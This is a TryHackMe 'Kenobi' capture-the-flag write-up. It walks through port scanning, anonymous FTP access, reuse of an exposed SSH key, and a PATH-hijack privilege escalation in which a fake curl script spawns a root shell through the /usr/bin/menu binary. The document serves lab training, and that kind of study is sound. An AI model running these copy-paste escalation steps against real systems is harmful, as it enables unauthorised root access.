Kenobi

Kenobi — TryHackMe

Target

- IP: `10.10.154.221` (example)
- Services: FTP (21), SSH (22), Web/HTTP

Summary of Steps

1. Initial access via exposed FTP / web resources (credentials / files found).
2. Discovered `/usr/bin/menu` binary that calls external commands without absolute paths.
3. PATH hijack: created fake `curl` that spawns a shell, put `/tmp` in front of `PATH`.
4. Triggered the vulnerable menu option to spawn a root shell (via sudo or SUID behavior).
5. Stabilized shell and retrieved `root.txt`.

Recon & Enumeration

- `nmap -sV -Pn -p- 10.10.154.221` — quick port/service scan.
- `ftp 10.10.154.221` or `nc 10.10.154.221 21` — anonymous FTP available; listed files or configs present.
- `ssh kenobi@10.10.154.221` — SSH key present on share; private key permissions restricted by read-only fs.

Gaining Foothold

1. Access FTP and inspect files. Example:

```
nc 10.10.154.221 21
USER anonymous
PASS anything
PASV
# open data channel as instructed, then LIST/RETR
```

1. Found SSH key `id_rsa` on NFS/FTP share. Copy to writable location and set permissions:

```
cp /mnt/kenobiNFS/tmp/id_rsa /tmp/id_rsa
chmod 600 /tmp/id_rsa
ssh -i /tmp/id_rsa kenobi@10.10.154.221
```

If the key is on a read-only mount, use a writable temp location (`/tmp` or `~/.ssh`).

Privilege Escalation — PATH Hijack (menu)

Why it works

`/usr/bin/menu` executes external commands by name (e.g. `curl`) instead of absolute paths (`/usr/bin/curl`). If the program runs with elevated privileges (via `sudo` or SUID) and does not sanitize the environment, we can influence which binary it executes by controlling `PATH`.

Exploit steps (copy/paste)

```
# Create fake curl that launches a shell
echo '#!/bin/sh' > /tmp/curl
echo '/bin/sh' >> /tmp/curl
chmod 755 /tmp/curl

# Place /tmp at front of PATH
export PATH=/tmp:$PATH

# If sudo allows menu (NOPASSWD) run with sudo and preserved PATH
```

```
sudo env "PATH=/tmp:$PATH" /usr/bin/menu

# Otherwise, if menu is SUID root or called via sudo internally, just run it
/usr/bin/menu

# Choose option that triggers curl (status check)
# Verify root
id
whoami

# Stabilize shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```

Read root flag:

```
cat /root/root.txt
```
